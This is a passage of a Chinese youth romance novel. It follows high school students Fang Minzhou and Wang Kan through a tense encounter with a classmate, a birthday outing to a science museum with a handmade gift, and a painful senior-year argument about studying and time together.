方敏周也不知道该生气还是该无语,一些撞破她人隐私的局促感也干扰着她,淡淡的水蜜桃香气中,她想着要不就这么走了吧,却没想到孙彤另外开启了一个话题,一个很突然的话题,她问她:“你刚才的照片是想发给谁吗?” 方敏周下意识地要否认,但想到孙彤刚才的坦诚,她顿住了。 “你和王衎在交往?” 一句话,方敏周像被插了一刀,心口突突跳了一下,强装镇定和适当的错愕,“……没有。你听谁说的?” “没有谁和我说,我自己猜的。”孙彤双手抱胸,淡淡一笑,让方敏周知道她的心理活动可能都被她看穿了,“春游的时候,我看到你和王衎在湖边说话” 方敏周忽然懂了,她无意间知道了孙彤的“秘密”,于是孙彤也要回赠她一个。 她很快冷静下来,“在湖边说话不可以吗?我们没有在交往。” 孙彤看了她几秒,像是相信了她说的话,但她意味深长的眼神,毫不掩饰地在告诉方敏周:你最好没有,不然,很蠢。 至此,方敏周终于感到被冒犯。 尽管她意外得能懂孙彤的想法,因为如果换她得知孙彤在“谈恋爱”,她一定也会很惊讶,但蠢不蠢的……关她什么事? “……我走了。”方敏周维持住自己的基本礼貌同孙彤道别,孙彤没有回话。 在方敏周转身走下两层台阶后,她听到身后孙彤淡漠的声音:“我认识一个人,听说她读书的时候成绩还不错。” 方敏周回过身,她看到孙彤靠着门,姿势未变,“后来她因为谈恋爱,没再读书也没考上大学,现在过得很惨。” ……什、什么? 方敏周难以置信地盯着孙彤。 她……她这是在告诫她,还是在诅咒她?下一秒,“砰”的一声,方敏周惊醒过来,一步跨过两层台阶,气得直接拍响了门。 门重新被打开,孙彤一脸静静等她发表听后感的表情。 “……你什么意思?”方敏周忍住怒气。 “你怎么理解的,我就是你理解的意思。” 无论再怎么把孙彤往好的方向想,此时此刻,方敏周都无法从她的态度中看到多少对自己的关心,她只看到了一个自诩胜利的人对落败者的不屑和贬低。 是她一味地把她理想化,觉得以她的成绩和才华,有点个性也正常,但一切都是有限度的,她也没有厉害到全世界都要为她让路。 詹老师这么放心地把宿舍借给孙彤住,一定也是希望她在这个暑假好好学习,但是,方敏周不禁刻薄地想:詹老师知道孙彤是这样的人吗? “我不知道你说的是谁。”方敏周尽量平静地开口,因为她还要体面,“但我想说,你怎么定义她现在过的很惨?就算她现在过得真的不太好,难道只是因为她谈恋爱、没有考上大学的原因吗?” ——即使方敏周清楚,这大概率就是孙彤口中的这个女孩乃至很多其他人人生的转折点,甚至她假模假式地不敢早恋,也是出于同样的担忧,但事实真的如此吗?他们的人生成败,真的只需要归结于这些原因结果就可以吗?孙彤现在的分数比她高,也许考的大学也会比她好,但她就一定会走得更远吗? “而且就算她现在过得不好,难道以后也不会好了吗?就没有重新开始的机会了吗?”方敏周说着说着,还是忍不住有点激动起来。 狡辩也好,嘴硬也罢,眼下,她是一定要驳倒孙彤的,而孙彤似乎也是没想到她会这么冲,脸色微变,尽管很快又恢复常态,她把手放在门把手上,作势就要关门,语气冷硬:“你听不懂算了。” “我听不懂,我也不想听懂,因为我觉得你说话很难听,也很没有礼貌,你凭什么——” “砰——” 方敏周吃了个闭门羹,又拍门,还按了几下门铃,这次,门没有再打开。 她深深呼吸了一口气,是真的想骂人,奶茶都不想喝了,下了楼,扔进了门口的垃圾桶里。 远山的山顶上还余留最后一片红光,整个院子黑漆漆的,只有路灯的光,安静得连虫鸣声都没有,也似乎没有任何人居住。 本来放了假,老师们也都回家了。 方敏周在院门前停下。 手心里的袋子沉甸甸地下坠,勒得手疼。 想到孙彤整个暑假可能都一个人住在这,方敏周冷静了些,像被越来越大的风粗鲁地擦了一把脸。 孙彤要是只是为了在她面前彰显优越感,直说就是了,也没必要拐弯抹角还提到别人,而且,那个女生到底是谁?真的有这么一个人吗? 方敏周觉得她真是古怪,如果是关心,为什么不能好好说话?但是,真的是关心吗?她担心她谈恋爱成绩下滑? ……她又为什么不能回家。 方敏周不想再想了,也想不到答案,她往车站走去。 等车的时候拿出手机,天彻底黑了,相册里倒躺着好几行晚霞的照片,手机屏幕一片绚烂。 她挑挑拣拣,还是没把照片发出去。 可能还是被孙彤刚才的话影响了,虽然她拍照的时候并没有想那么多。 孙彤又是怎么猜到她拍照是想发给王衎的,她脸上难不成写了字?她就不能自己存着留个纪念吗? 想起那次在书店,元月和沈路明之间处处都是破绽的甜蜜氛围,晃荡的公交车上,方敏周看着窗外陷入了沉思。 回到家,爸妈还没回来,方敏周来了灯,走到客厅茶几前,把桃子从袋子里一个个掏出来摆在果盘上。 又收到王衎发来的消息,一张江景的照片,然后是像小学生写日记一样,说他又被拉来来游江,真不知道有什么好看的,又热又挤,他好无聊…… 方敏周坐在客厅的沙发上,看着王衎的絮叨,穿越时空般地感觉到南城的江风,她的心情忽然变好了不少,可与此同时,天平的另一端又重了下去。 还是那股矛盾的心情,快乐永远托着负担,不上不下,保持平衡。 真烦,方敏周想,她讨厌思前想后的自己,真想不管不顾地去做些什么。 这么想着,她把果盘里的水果好好摆了摆,拍了一张照片发给王衎。 王衎夸张地发来一连串大拇指,然后说:过寿呢。 方敏周笑起来,不生气了。真正快乐的时候,她选择忽略所有烦恼。 孙彤倚着门冷漠的警告,欧阳茜被夜风吹拂寂寞的侧脸,元月青涩的脸上害羞的表情,听课的王衎注意到她视线后挑起的坏笑……很多人很多事在方敏周脑海中浮现,一帧帧地都要她作答,她却只能在空白的答卷上写下一个“解”,因为题目本身就模糊不清。 王衎:你喜欢吃桃子? 方敏周:还行吧 王衎:你喜欢吃硬桃还是软桃 方敏周:都行 王衎:我喜欢吃硬的 方敏周:哦 王衎:…… 王衎:樟城是不是要台风了 方敏周:嗯 方敏周:你今天英语单词背了没有? 王衎:/汗 王衎:背了,我哪天没背 方敏周:/撇嘴 王衎觉得自己疯了,竟然觉得这个表情很可爱,他想的是方敏周本人做这样的表情。 轮渡开航,王衎靠在船尾的栏杆,潮热的晚风迎面而来,放眼望去,两岸灯火辉煌。 他继续低头给方敏周发消息,他下周就能回樟城了,这个暑假,他还没能和她看成电影。 但被拒绝了,也不意外。 王衎:/委屈 方敏周不为所动,想着自己刚还义正言辞对孙彤说她和王衎没有交往。 王衎:那不看电影,就碰个面 王衎:下周三我生日 王衎:/可怜/可怜/可怜/凋谢/凋谢/凋谢 螺旋桨激起了白色的浪花,正如他此刻的心情,惴惴不安之际,他终于收到方敏周的消息,手机差点掉到江里去。 方敏周问他:在哪里碰面 ……不过这话说的,怎么好像地下党要接头? 第39章 第 39 章 暑假的科技馆人满为…… 暑假的科技馆人满为患, 几乎都是家长带着半大的小孩,其中混迹几个中学生。 场馆里冷气十足又嚷嚷吵吵,王衎跟在方敏周和徐冉身后, 有点不耐烦, 但在方敏周偶尔转过头找他的时候, 他都会毫无破绽地立刻换上灿烂的笑脸。 等方敏周回过头去, 他的脸就控制不住的耷拉下来。 到底谁约会会约在科技馆啊? 电影院不行、游乐园不行、动物园、植物园也不行, 最后博物馆和科技馆二选一。 方敏周分明就是故意的,但能见面总比不能见面好。就是他没防备,表姐得知他要去科技馆, 虽然觉得奇怪,但把徐冉塞了过来, “正好,她暑假周记还没写完, 你带她逛逛。” 王衎和徐冉大眼瞪小眼, 怎么说呢……带是不想带的, 但又觉得可能会派上用场, 类似于游戏里一个有些鸡肋的道具。 最后还是带上了, 否则表姐会起疑, 但方敏周得知后完全不介意,好像更高兴徐冉能来,反而让王衎不爽, 但他人微言轻,没有抱怨的资格。 约好的周三下午两点, 在科技馆一楼碰面,王衎和徐冉早到了几分钟,站在大厅边上静候。 收到方敏周说她到了的消息时, 王衎抬起头。玻璃门自动感应打开,来来往往的人群中,他一眼看到了她。 她今天没扎头发,过肩的发尾微微内扣,穿了一件他没见过的白底蓝边的连衣裙,有点学院风的风格。 王衎没立刻向她挥手,而是颇有兴致地看她匆匆左右张望,当她终于看到他——和徐冉时,像是有点不好意思地抿了抿嘴,然后低下头,一边卷手里的遮阳伞,一边向他们走来。 等走到他面前,就又是绷着紧紧的一张脸,虽然脸颊微微泛红,鼻尖有细小的汗珠,但说不好是不是被太阳晒的。 两个人的视线近距离在空中相触,王衎方才的从容淡定早已稀碎,不知道哪来的热意冲上了脑袋,他努力憋着笑,又憋不住,心跳得飞快,而方敏周恼羞地瞪了他一眼。 “你……不热吗?”王衎指她的头发,没话找话,第一句话说这个,他也觉得自己犯傻了。 “……还好。”方敏周说,不太想理他。 王衎摸了摸脖子。 方敏周弯腰向徐冉伸出手,徐冉意会,把自己的小手放进方敏周手中,两个人煞有介事地握了握。 王衎看得羡慕,也很想把自己的手覆上去,世纪会晤嘛,但有贼心没贼胆,暗自在腿边捏紧了,悄悄盯着方敏周的手指看。顺着手臂往上,是仲夏的柳枝一般垂落的长发,再是发后的侧脸,挺秀的鼻尖是山,弯起的嘴角是湖。 王衎这时候才意识到,在哪约会,确实不重要。 “呀!”徐冉忽然惊喜地叫了声,原来是她手心里凭空多出了一颗糖,“谢谢姐姐。” “不用谢。” “姐姐你会变魔法诶。” “嗯哼。”方敏周有点小得意地看向王衎。 王衎刚才在发呆,没注意方敏周的手法,但那已经不是重点了,她后来瞥过来的一眼太可爱,他猝不及防,反应过来后脸都烧疼了,估计也红得夸张,叫方敏周也看愣了几秒,然后很不自在地牵起徐冉就往展馆里走。于是,王衎很不争气地变成了没有存在感的小跟班。 逛得累了,三个人到餐厅买吃的。方敏周和徐冉各点了一个冰淇淋,然后在一边等王衎和他的三明治。 闲聊着天,王衎看到方敏周面露异色,刚想问怎么了,她示意他的身后,自己带着徐冉匆匆走开,随便找了个被绿植遮掩住的位置坐下。 王衎转过身,看到了林斯年。 “好巧。”林斯年看起来挺意外的。 王衎也意外。 科技馆有活动,林斯年是来做志愿者的,主要负责区域在放映厅。王衎和方敏周没带徐冉去看科幻小短片,所以刚才没碰到。 志愿者餐饮有补助,林斯年要请客,王衎婉拒,他说他已经付过账了,林斯年便从马甲口袋里拿出两张兑换券递给王衎,“那可以下次用。” 王衎不想要,但还是接过,“谢啦,班长。” “不客气,你什么时候来的?”林斯年问。 王衎真不想同他寒暄,有什么好聊的,“刚刚。” “一个人?” 王衎很想说不是,但想到方敏周带着徐冉“落荒而逃”的画面,想到方敏周现在估计在担心他乱说话,他自嘲地勾起一边嘴角,“嗯。" 他现在不就是一个人吗? 林斯年似有些疑惑,但没有多问,他是和另一个志愿者来买饮料,几句话间,王衎的三明治终于好了,他和他们打了声招呼便走了,随便找了个空位坐下。 过了一会,方敏周和徐冉坐到了他对面,王衎看向点餐台,林斯年果然已经走远了。 “……你有必要这么紧张吗?”回过头,王衎开玩笑地问方敏周。 方敏周觉得王衎说话又夹枪带棍,“还好吧,不然很尴尬。” 尴尬什么?有什么见不得人的? “刚才那个哥哥是谁啊?”一旁的徐冉问。 “我们班的班长。”方敏周回答徐冉,又问王衎,“班长是在做志愿者吗?” 王衎看她,“你怎么知道?” “我看他穿了红色的马甲。” 王衎低下头,咬了一大口三明治,含糊地“嗯”了声。 方敏周看出王衎有点不高兴了,但她觉得这是王衎的问题,要是被林斯年看到她和王衎带着一个小孩,他们该怎么解释?她又不是他家亲戚。 她还觉得自己反应挺快的。 说多错多,又是他生日,方敏周盯着旁边的绿植吃冰淇凌,不再说话。 徐冉打量着两个人,过了一会,她出声打破沉默,“舅舅,我也要吃三明治。” 王衎看她,“刚才不说?我掰点给你,还是给你重新买一个?” “掰一点给我就可以啦。”徐冉比划。 王衎把没碰过的另一边撕下一块递给徐冉,然后看了眼方敏周,把林斯年刚才给他优惠券从衬衣口袋里拿出来,“你还要不要点点什么,班长刚才给了两张券。” 方敏周看回来,冰淇淋吃完了,她抽了张纸巾擦嘴,摇头,“……有没有有效期?” “不知道。” 方敏周拿起来看了下,“还有一年,你下次带冉冉来的时候用吧。” “行。” 王衎吃完剩下的三明治,也咽下所有翻腾的情绪。 他明白方敏周的意思,换做碰到其他人,他绝对打配合打得更漂亮,但碰到林斯年,他就是很在意,想问方敏周是不想被认识的人看到他们在一起,还是不想被林斯年看到他们在一起。 两者截然不同。 即使方敏周解释过一次两次,即使她和林斯年就只是普通同学,王衎还是觉得林斯年是一个很大的威胁,他又不愿意承认自己是在嫉妒,他嫉妒他什么?他也不差啊?都要高考了,不好好学习来做志愿者,搞什么啊? 继续逛。 顶层的星空馆不同于其他展厅,像圆形迷宫,大圆套小圆,是模仿太阳系的运行,王衎看出方敏周觉得新奇,忍不住凑到她旁边多嘴,关于整个展厅的一些巧思。既是为了缓解两人之间若有若无的尴尬,也是卖弄下自己的知识,尽管都是从杂志期刊上看来的,这是个拿了奖的设计。 方敏周要笑不笑地听他讲。 她的脸上光影流转着。 徐冉不知道跑到了哪里,又跑回来,要王衎的手机拍照片。 王衎不情不愿借给她,不过她拍了一通后,问要不要帮他们合照,王衎仍有些郁闷的心情瞬间敞亮了不少。 值了,带徐冉出来值了,请吃的那么多次肯德基麦当劳也总算要回本了。 他当然没问题,就是看…… 方敏周被王衎殷殷然的目光望着,背都直了一分,但面不改色:“……好啊。” 拍张照而已,又不是没拍过。 靠近一点,并排而立,看向镜头,微笑。 徐冉把手机还给王衎,方敏周自觉自己刚才笑得有些僵硬,下意识地想凑过去看看成片。王衎也正要找方敏周,一直保持的距离一不小心就越了轨,鼻子差点挨到一起。 方敏周屏住了呼吸。 天花板的立体星空在不知疲倦地旋转,一瞬即是永恒。 他们无声地对视,然后假装自然镇定地重新看向手机屏幕,一分钟前的他们被定格:点点繁星下,王衎一脸冷酷,一只手插兜,一只手在方敏周脑袋上比耶。 方敏周:“……” 她该生气吧?就要走,王衎“诶”了一声,下意识要拉住她,碰到了手,立刻收了回,赔笑道:“……还有其他照片嘛。” 方敏周目有警惕地重新靠过来。 没再那么近,但还是近的,不像在学校坐同桌,至少还隔着一段距离。王衎清晰地感觉到方敏周身上的气息和温度,他有点晕乎。 徐冉连拍了很多张,方敏周都是一个表情一个动作,衬托旁边的王衎变成了小人画,这整个作案过程被倒放,方敏周看到后来无语了,王衎倒是觉得很有趣,忍着才没笑出来。 再往左滑,是徐冉拍的照片,也一一看过了,突然,跑出来一张方敏周的侧颜。 王衎:“……” 方敏周:“……” 她慢慢看向王衎,王衎则目不斜视地看着屏幕,手下不停,快速地往前滑过多张照片,直到滑到一张徐冉的单人照才停下,然后收起手机,若无其事地准备去找又不知道跑哪里去了的徐冉,“等会……我把冉冉拍的你的照片也发你。” “……诶。”方敏周喊住他。 王衎以为方敏周是要和他算账,嘴上迟疑地应了声,脑海中快速思考着怎么蒙混过关,却见她从帆布袋里取了什么握在手心里,要和他碰拳一样伸出拳头,说了个字:“手。” “啊?哦。” 王衎愣愣地伸出拳头,和她轻轻碰了碰。 方敏周:“……” 王衎赶紧一笑,手心向上摊平。 他又以为方敏周是也要给他糖吃,但当她的手指像花朵一样展开时,落在他手掌里的不是一颗糖的重量,而是毛茸茸、轻乎乎的一个……橘色的钩织挂件,看起来……像是一只狮子。 他是狮子座,这个时候王衎的脑筋转得很快。 “生日快乐。”方敏周低声说,暗自预演的时候,是想大大方方的,但现在也不知道自己是什么表情。 实在太难为情了。 “……谢谢。”王衎咽了口唾沫,脸又开始热了。 他不是没幻想过方敏周送他礼物,他都和她直说今天是他生日了——但那毕竟是幻想,按她这个假正经的性格,说不定又要说一些套词,所以他也做好了最坏的打算。现在幻想成真,偏偏他还要保持冷静…… 他轻轻摸着手里的小狮子,毛线很软、针法稀疏,说实话,看起来质量不是很好,但没关系……脑海中突然闪过一个猜测,“……这不会是你自己织的吧?” 方敏周表情别扭,无声胜有声。 是……默认的意思? 劈里啪啦的,王衎感觉自己的心脏在此刻经历了一场宇宙大爆炸。 方敏周又从帆布袋里掏出另一个小盒子,“你突然和我说你生日……我也不知道送你什么礼物,那个,”她指王衎手里的玩偶,面露赧色,“织得太烂了,你不想要也没事,不过我也不知道这个是不是你想要的……” 只是听他和男生讨论过模型什么的,也算是还他之前的两个礼物? 反正那本英语参考书他最后没要。 “……我很喜欢,谢谢。”好一会儿,王衎才有了声音,“两个都很喜欢。” 方敏周只能庆幸灯光够暗。 其实这里并不是一个适合送礼物的地方,尽管他们是在展厅的角落,但她就是鬼使神差地拿出来了,不然不知道还要等到什么时候。更尴尬的是,王衎没有带包,所以模型暂且重新进了方敏周的帆布袋里,而那个小狮子,被他握在手中,“我都不知道你还会做织东西。” 要不是他的神情,单单这句话,方敏周会觉得像讥讽,这算什么会织东西,“……我不会,我找元月教我的。” 第一次给男生准备生日礼物,还是给王衎……既想表达心意,又不想显得太重视,方敏周自己都觉得矛盾,纠结来纠结去,打算亲手做一个小礼物送给他。 就是天赋不佳,元月手把手教她了,还是手忙脚乱,本来应该很简单的一个针织品,也耗了她好几天,成品也非常四不像,但……还是厚着脸皮送出去了。 “那也很厉害。” “……时间不太够。”方敏周还是为自己辩解了一句,“不然可以弄得好看一点。” 王衎“哦”了一声,“那如果我早点告诉你,你不会给我织条围巾吧?” ……你想得倒美。 “大夏天的你戴围巾?” “你织我就戴。” “然后捂出一脖子痱子?” “昂,天天戴。” 方敏周被他逗笑,转而嗤他:“无聊。” 王衎被骂还傻笑,把小狮子放进裤兜里,再看向方敏周时,欲言又止,方敏周也不知道还能说什么。 蓦然安静的一瞬,王衎的呼吸都轻了,积压的情绪像万仞的浪墙,好像要把人狠狠吞噬,结果是轻而柔地拥上礁石与沙滩。 “……谢谢你方敏周,我真的很喜欢。”王衎再一次郑重道谢。 天体按着数十亿年的既定轨道继续旋转,幸福降临在最小的时间单位。 方敏周心怦怦直跳,表面镇定地回了句不客气。 去找徐冉,找到她在排天文望远镜。这个时候王衎的电话响了,再回来,方敏周问他是不是有事,王衎摇头:“我妈的,她让我晚上去吃点好吃的。” “……你爸妈不在家吗?” “他们在南城。”王衎看出方敏周的疑惑,朝她眨眨眼,“我是不是好可怜?” 方敏周想说是,但又觉得逻辑不通,不理解会在平常特地送饭来学校的家长,孩子生日当天却又缺席? “没关系啦,因为我家过得是农历生日。”王衎笑嘻嘻的。 方敏周:“……” “但阳历生日本来也要有人陪我一起过啊。” 方敏周:“……” 他寿星他最大,方敏周问:“那你晚上吃什么?” “随便吧,”他下巴指了指徐冉,“带她去吃点好吃的。” 见方敏周不说话,若有所思的,王衎不禁有了新的期待,他没说出口,但方敏周看懂了他的眼神。好一会儿,她说:“……我出去打个电话。” 王衎心里欢呼了一声。 方敏周算是很快回来,看到王衎眼巴巴的,不禁内心警告自己下不为例,但下次……也是一年后了。一年后的今天,他们会在哪里? 王衎还等着她开口,方敏周投降,“……我和你们一起吃吧。” “嗯!”他咧嘴,露出方敏周觉得好傻的笑。 第40章 第 40 章 去了一家连锁餐厅吃…… 去了一家连锁餐厅吃饭, 当天生日的顾客有一次转盘抽奖的机会,王衎让方敏周转,方敏周又推给徐冉。 小女孩咬牙用力, 在众人期待的目光下转到了一百元代金券。 “哎哟。”王衎摸摸徐冉的脑袋, 给她另外点了份儿童套餐作为奖励。 免费赠送的长寿面先端上来, 比脸还大的碗摆在王衎面前, 方敏周看着直想笑。 靠窗的卡座, 她坐在他对面,徐冉这次坐在了方敏周的旁边。 于情于理,方敏周拿出手机给王衎拍照留念。王衎看到镜头, 先是一愣,随即非常配合, 搞得方敏周反而不好意思起来,随便拍了两张, 匆匆收起手机, 拍的怎么样, 王衎一眼没瞧见, “你没把我拍丑吧?” “……没有。” “那就是很帅的意思?” 方敏周脸一红, “你自己长什么样自己不知道吗?” “很帅啊。” 方敏周:“……” 正好服务员来上菜, 方敏周闭上了嘴,不和他争辩,随便他自恋。 科技馆之旅, 对王衎来说意外的圆满。 他还记得,那天从餐厅出来, 附近的广场有人在表演,舞台虽然简陋,但围了好些人, 他们也在旁边站着看了好一会。夏天的白昼悠长,七八点钟了,天色还是透着一股蓝光,台风过了境,晚风轻松怡人。 他随着音乐的节奏微微摇头晃脑,瞥向旁边的方敏周,她一动不动的,但听得很认真,他不禁遗憾,艺术节那次他要是能上台,是不是也能被她这样长久地注视一首歌的时间? 视线往下,挨着方敏周的徐冉正好奇地望着他,王衎一笑,身子往后仰,食指竖在嘴边,偷偷示意让她保密,徐冉似懂非懂地点头。 而他发现方敏周红红的耳朵时,也假装也自己什么都不知道。 送她到车站后,她不忘把模型递给王衎,徐冉不知道是什么,只知道是很大的礼物,张着嘴巴,羡慕得差点流口水。 他第二天就把模型拼好了,把和模型一起自拍的照片发给方敏周,好一会儿才得到她的回复,他知道,她一定在对面笑了很久。 可惜的是,再约她见面,方敏周都没有再答应,对此,王衎倒也能理解。 转眼间暑假结束,高三返校上课。 高考动员家长会、优秀毕业生回校演讲、开学模拟考……事情接二连三,放鞭炮一样劈里啪啦一通响,用一种看似文明实则粗暴的方式宣告高考的逼近。今年的夏天还远未结束,但明年夏天的战斗号角已经吹响了。 刚开学的时候王衎还挺开心的。 最得意的是开家长会那天,方敏周去了老师办公室,他在走廊,一眼认出人群中方敏周的爸爸,然后把他带到了座位上,还给他拿了瓶水。虽然方敏周知道这事后和他生了气,王衎也觉得自己没坏事,是方敏周心虚了,而方敏周越心虚,他越高兴。 不过很快,王衎就高兴不起来了,因为詹老太毫无征兆地重新排了位置,他的同桌变成了金柏浩,方敏周则和尹梦然坐在一起,他们甚至不是一个大组。 几乎所有人的位置都做了调整,但完全看不出什么编排道理,就比如凭什么欧阳茜还能坐方敏周前面?王衎很郁闷,做梦都能梦见自己大闯办公室,却又不能真的去找老太理论。 然而方敏周很平静地接受了一切。 她担心是詹老太看出了什么,因为前几天别的班级有一对情侣因行为出格被请了家长,听说双方父母在教务处互相大骂,而詹老太刚好是在这之后换的座位。王衎看着方敏周紧张了几天,直到詹老太没有找任何人谈话后,才放下心来。 他也理解,但再理解,还是很难不伤心生气,他觉得高二熬夜学习生怕位子被换掉的自己就是个笑话。 方敏周那时候说着没有要换位置,实际上真的换了,她一点也不舍不得他,好歹装一下嘛,却存心要和他借此一刀两断似的,还要和他说些冠冕堂皇的话,说这样他们都能更加专注于学习,是好事。 是吗?对她也许是,但对他不是。 他们这一笼适龄的仓鼠被放在跑轮上,停不下来,但总有跑得慢的,王衎觉得自己就是越跑越慢的那一只。 暑假的那些聊天记录和照片,跟梦一样幻灭了。 之前他和方敏周虽然故意装不和,但毕竟坐在一起,多少能说上几句话,大不了还能写纸条加上眼神交流,但自从换了位置,他们在学校里的接触就无线趋近于零,几乎回到了高二刚刚开学还没坐同桌的状态。 他后悔和方敏周玩声东击西的游戏,搞得他都不能光明正大地去问她题目。 加上高三周六也要到学校自习上课,彼此的课外补习班时间调整后错开,也没了校外见面的机会,最后只剩下晚自习结束后回家的路上才能说上几句话,偏偏晚自习还延长了半个小时下课。 她和欧阳茜倒是每天都还能亲亲热热地一起吃饭。 有的时候,王衎觉得方敏周死读书的样子很可爱,有的时候,其实他看不惯她强行守规矩办事的古板,这总让他怀疑他在她心里排不上号,好比可有可无的一道菜,摆到面前了就多尝两口,太远了够不到就算了——可是他也知道事实并不是这样。 那只小狮子他加上了一个钥匙扣,每天都能摸着,一想到方敏周亲手做的礼物,他所有戾气就又变成针扎破了自己。 所以还是他的问题。 他像一颗植物从向阳处被换到了背阴的地方,很难不蔫,可这又不能怪他。 所以詹老太为什么要换位置! 还记得一开始他的心态放得很低,只希望他是方敏周除学习外的第一顺位就可以,现在想来,王衎觉得自己愚蠢且自负,不知道贪心是人的本性,不承认他就是一个普通人,他拥有的越多,就越不满足。 心情郁燥,又没处讲理,高三压力还大,不仅老师们一改往日和善、个个像变态了一样,身边的同学也都绷紧了皮,他旁边的金柏浩不用说,王衎看他刻苦得饭都不吃的样子就来气,吴丞和郑彦航也都一夜之间收了心。 王衎一向自诩心大且想得开,考前心态从来很好,考后怕被方敏周嫌弃是真的,但到底没被真的嫌弃,加上考也考完了,就想着下次考好就是了——他对自己是有自信的,但最近学着学着,有时候竟然会莫名心慌,更别提考前也变得紧张,抗压能力脆到他都快要不认识自己了。 后来他暗自琢磨明白了,是他的潜意识先一步认识到了形势的严峻。 方敏周之前半开玩笑地说,只要他每场考试都进步几名,高考就如何如何,但实际上,现在是每考一场就少一场,没有更多的机会供他开拓挥霍了——而一旦清楚地建立了这一认知后,王衎心态变得更烂。 直到期中考,他考得都不理想。期中段排名五十四,还是没有考入前五十名,且差得不是一分两分。 十月后,晚上的气温逐步转凉,风里再次有了桂花的香气。 王衎照旧陪方敏周骑车回家,两个人沉默了一路。王衎能感受到方敏周情绪不高,但她这次期中考考得很好,她这学期都稳定保持在段前二十,所以……只能是因为他。 他或许应该说些什么活跃气氛,让方敏周再信自己一回,也给自己打打气,但……他不想说了。 从上个学期起,快一年的时间,历经六七次考试,他的诺言仍未兑现。 王衎不相信这是他的极限,但也看不起说的好听却做不到的自己,所以不想再承诺保证什么,他已经承诺保证过了,他现在要的是说到做到。 到了方敏周家楼下,临别前,两个人都欲言又止。 王衎好奇方敏周要对自己说什么,她看起来不像要骂他的样子……所以是鼓励?还是安慰? “其实你这次……考得还可以。”她说,“保持稳定其实也是一种进步。” 王衎扶着自行车,蹭了蹭鞋底。 “期中考卷子,你自己复盘完之后记得给我,我看一下再还你。” 王衎听明白了方敏周的意思,心花怒放了一秒后赶紧收住,“那……你有时间当面和我分析下吗?” “有吧……”方敏周说,“周六放学之后,或者周日上午?” “我都行!” “那我之后再看看……要不就周六放学之后吧。“ “没问题!” 方敏周像是哭笑不得,过了会儿,她又正了神色,“还有……” “嗯?”王衎语调上扬。 被王衎满脸期待地望着,方敏周忽然有些不落忍地错开了视线,她还是说出了自己的决定:“……我觉得之后晚自习下课后,你直接回家吧,不要送我了。” 夜风吹过,方敏周追寻着王衎身后一片被带落的叶子,直到它打着旋躺倒在空荡荡的马路中央,她都没听到王衎的回应,她只好重新看向他。 他脸上还挂着笑,只是笑意不达眼底,取而代之的有怔愣有不解也有怒意。 方敏周握紧了车把,不然她又会想要低头躲开。明明是在做正确的对的事情,却像撒谎一样不安。 所以她有时她会讨厌王衎的眼睛。 “……为什么?”王衎问她。 但他们都知道,她的话已经讲得很明白了,“不然你每次送了我再回家……有点浪费时间。” “我送你回家的时候也能问你问题啊。”王衎还是笑笑的样子。 方敏周无奈,“……又讨论不了什么真的问题,也没有纸和笔。” 她查过,王衎从她家骑车回去,至少也要二十分钟。之前她就和王衎说过不用送她,王衎不乐意,她也就随便他了,那时方敏周也觉得,大不了当他锻炼身体,但现在,她无法再心安理得地接受王衎的护送。 偷吃的糖不甜了。 方敏周还觉得,王衎想玩“护花使者”的游戏,以他的性格,或许想要叫停也不好意思开口。 “那我包里有纸和笔啊。”王衎作势要拉书包拉链,方敏周制止了他,他又说,“不讨论题目那就聊聊天啊,放松一下大脑。” 方敏周知道他又要不讲理了,“我是说认真的,本来时间就少……” “又不差这点时间。”他打断她。 方敏周顿了顿,深呼吸了一口气,才问:“你昨天几点睡的?” 这次王衎的嘴张了张,没了声音。 “你今天早上几点起的?”方敏周又问。 王衎闭上了嘴,面无表情地看着她。 ——所以,方敏周想说,有这个时间,无论是用来休息还是学习,都比花在送她回家的路上值当。 半晌,王衎冷笑了一声,“如果我连这么一点属于自己的时间都没有,那我也干脆不用学了。” 方敏周设想过王衎的反应,但听到他说这样自暴自弃的话,还是忍不住皱了眉头:“我不是这个意思……” “你的意思是,我现在这个分数,不配送你回家是吗?” 方敏周火也起来了,每次想要和王衎好好聊些什么,他要么胡搅蛮缠、装痴卖傻,要么强词夺理、故意曲解她的好意,“你觉得不配就不配吧,反正我说了,你以后不要再送我了。” 她调转车头,但被王衎强行截住,两辆自行车猛地撞了一下。 “王衎!” “你把话说清楚。”王衎冷声道。 “我说得还不够清楚吗?”方敏周压着怒气。 清楚,当然清楚,但他就是恨透了这份清楚。 “王衎,”方敏周不想又和他吵架,“马上就要高考了,你能不能不要再这么任性?每天送我回家对你来说很有意义吗?” “很有意义。” “什么意义?你考试能多加几分?还是你觉得这代表我们之间有什么?”方敏周觉得自己也有些口不择言了,但为了掰动王衎,她态度很强硬,“如果你是这么觉得的,那我告诉你,没有,我希望你把所有精力和时间都用在学习上,而不是浪费在我身上。” “……什么叫浪费?”王衎看着方敏周,刚才的张牙舞爪全都没有了,只剩惨然的一笑,“上课困得不行的时候,如果老师叫到你回答问题,我马上就醒了;有时候刷题刷累了,看到你还在学,我也觉得我还能再学一会;然后每天累得要死,但你送回家这二十分钟是我一天下来最开心最放松的时候……这就是你对我的意义,怎么,有这么惊讶吗?” 马路还是空荡荡的,风在吹,拂过急促的呼吸。 王衎忽然就冷静了下来。 方敏周惊讶是应该的,因为在他以她为目标为动力的同时,他于她什么都不是,在很多次他偷看她、希望她也能回头看自己一眼但从未有过的时候,他就应该意识到这点了。 是的,从来不是方敏周嫌不嫌弃他的问题,是他配不配得上的问题。 二十分钟,浪费的其实是她的时间。 可是他真的在努力了。 王衎心口疼得想流泪,眼眶却被秋风吹得干涩酸胀。 他单手插进了口袋里,口袋里有他的小狮子,毛线软软的、痒痒地拱着他的手心,像会给小孩子带来安慰的毛绒玩具,“……我知道了,我之后晚自习下课就不送你了,你自己回家注意安全。” 到家之后给我发个消息——这句话,王衎咽了回去。 车轮向后,两辆别住的自行车撤开距离。 “……没什么别的事,那我今天先走了。” 方敏周从来没有在王衎脸上看到这样难看的笑。 她很茫然,还在消化王衎的告白,换做平时,这或许会让她脸红心跳,但此时此刻只有意外和一种被瞩目的压力……她大概永远不会让王衎知道,她并不是像他以为的,好像向日葵追随太阳一样天生地热爱学习,她是为了爸妈的骄傲,为了自己的面子,为了世俗的名利。 暑假与孙彤之间的不愉快,方敏周没有和任何人提起,只是暗暗把曾经对孙彤的欣赏羡慕和不愿意承认的嫉妒,转化为下定决心一定要考过她的愤懑——失败了,鸿沟那样明显地横在她面前,所以她其实很理解王衎现在困顿的心情。 她只是担心他,只是想要帮他提高学习的质量和效率,而无论如何,都与时间息息相关,一天在学校十几个小时,课间的十分钟都要珍惜。 